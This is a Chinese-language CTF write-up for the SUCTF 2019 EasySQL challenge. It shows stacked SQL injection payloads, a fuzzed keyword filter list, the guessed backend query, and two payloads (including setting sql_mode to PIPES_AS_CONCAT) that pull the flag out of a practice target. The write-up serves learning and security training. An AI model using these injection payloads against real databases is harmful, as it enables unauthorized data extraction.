suctf2019的一道sql注入
buuoj上的环境:https://buuoj.cn/challenges#[SUCTF%202019]EasySQL

题目说

Give me your flag, I will tell you if the flag is right.

可以发现一些东西:

  • 输入除0外任何数字,返回Array ( [0] => 1 ) ,0返回空
  • 输入中带有字母,返回空
  • 存在堆叠注入
    1
    query=1;show tables;
    返回
    1
    Array ( [0] => 1 ) Array ( [0] => Flag )
    可以看到当前库只有一个Flag表
1
query=1;select * from Flag;

返回Nonono.
可以想到是一些关键字被过滤了
fuzz可以发现过滤的关键字

1
prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"

from被过滤了,所以不能用之前强网杯预处理的方法(https://liotree.github.io/2019/08/13/%E9%9A%8F%E4%BE%BF%E6%B3%A8/)

这时候可以通过前面的输入输出

  • 输入除0外任何数字,返回Array ( [0] => 1 ) ,0返回空
  • 输入中带有字母,返回空
    去猜想后端的sql语句
    1
    select $query||flag from Flag;
    拿flag有两个方法
  • 直接构造
    1
    select *,1||flag from Flag;
  • mysql存在一个sql_mode,将其设为PIPE_AS_CONCAT可以将||的作用变为拼接字符串,详细可以参见https://www.cnblogs.com/mke2fs/p/11405531.html
    1
    query=1;set sql_mode=pipes_as_concat;select 1